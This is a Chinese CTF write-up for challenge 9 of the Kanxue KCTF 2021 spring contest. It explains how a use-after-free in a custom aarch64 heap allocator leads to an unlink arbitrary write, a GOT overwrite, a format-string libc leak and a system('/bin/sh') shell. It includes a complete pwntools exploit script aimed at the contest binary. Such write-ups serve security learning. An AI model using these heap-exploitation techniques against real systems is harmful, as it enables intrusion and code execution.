-
-
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱 WP
-
2021-5-26 20:42 15086
-
本题自实现了堆的申请写释放。由于ollvm的原因,堆的管理部分代码比较整理,而且ollvm还加入了死循环,去ollvm有点困难,没有尝试,选择硬看了。
程序将堆大小限制在0x100以内。堆的申请和释放与我们所认识的有些类似,也有差别,算是简化实现版。有可以存放16种不同大小已释放的chunk地址,有topchunk,有1个双链表bin,有pre_used
。结构上的不同在于:pre_used
置位表示释放。在malloc
和free
的实现部分,大致检查与我们熟知的也差不太多。malloc
时先会检查已释放的列表中有没有相同大小的已释放的chunk,同时也会检查该chunk是不是最后一个chunk,会检查双链表及其它有关size的一些检查,如果该chunk通过检查,则会有unlink
的过程和pre_used
位的修改,最终返回该chunk。free
中也会有malloc
的相同检查,还有pre_used
位的检查,并且会排序将chunk的数据指针插入双链表中(似乎程序在这部分有些小BUG,不知是作者有意还是无意留的)。有这些了解,做题也基本够了。
首先此题比较明显的漏洞是UAF,释放堆后,并清除堆指针。这样就可以随便的修改已释放的chunk数据区。如果能伪造chunk插入到双链表中,通过malloc
部分的unlink
,则能把某地址写到bss区存储已申请的堆地址的部分,从而可以修改这部分的堆指针,实现任意地址写。
注意到memset的buf是上一个留下的choice,通过任意地址写,把memset指向printf的plt表,memset
就成了printf
。然后人为构造格式化字符串,就可以leak了。leak时附近正好有alarm
的地址指针,就选择leakalarm
地址,之后计算得到system
的地址,再把strtol
地址改写成system
的地址,然后就可以get shell了。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from pwn import * import sys context.arch = "aarch64" context.log_level = "debug" def cmd(s): p.sendlineafter( ": " , str (s)) def add(size,note): cmd( 1 ) cmd(size) p.sendafter( ": " ,note) def delete(index): cmd( 2 ) cmd(index) def edit(index,note): cmd( 3 ) cmd(index) p.sendafter( ": " ,note) if len (sys.argv)> = 2 : p = process( "qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./main" ,shell = True ) else : p = process( "qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./main" ,shell = True ) #p=remote("121.36.145.157",55555) add( 0x20 , "aaaa" ) add( 0x20 , "aaaa" ) add( 0x30 , "aaaa" ) for i in range ( 9 ): delete( 2 ) add( 0x30 , "aaaa" ) add( 0x30 , "aaaa" ) add( 0x40 , "aaaa" ) #0x18->0x30 #0x20->0x30 #0x28->0x40 delete( 1 ) delete( 2 ) delete( 12 ) edit( 1 ,p64( 0x4161a0 ) + p64( 0x4161b8 )) edit( 2 ,p64( 0x4161b8 )) add( 0x20 , "111" ) edit( 0 ,p64( 0x4161c0 ) + p64( 0x4161c0 )) add( 0x20 ,p64( 0x4160ac + 4 ) + p64( 0x00416040 ) + p64( 0x416018 )) edit( 1 ,p64( 0xf0000000f0 )) edit( 3 ,p64( 0x0400850 )) p.sendlineafter( ": " , "aaaaaaaa%10$llx%11$llx%12$saaaaa" + p64( 0x416060 )) p.recvuntil( "choice: " ) p.recv( 0x28 ) system = u64(p.recv( 6 ) + "\x00\x00" ) - 0x000000000009cdb0 + 0x03dda8 print hex (system) p.sendline( str ( 3 )) cmd( 2 ) p.sendafter( ": " ,p64(system)[: 6 ]) p.sendline( "/bin/sh;" ) p.interactive() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法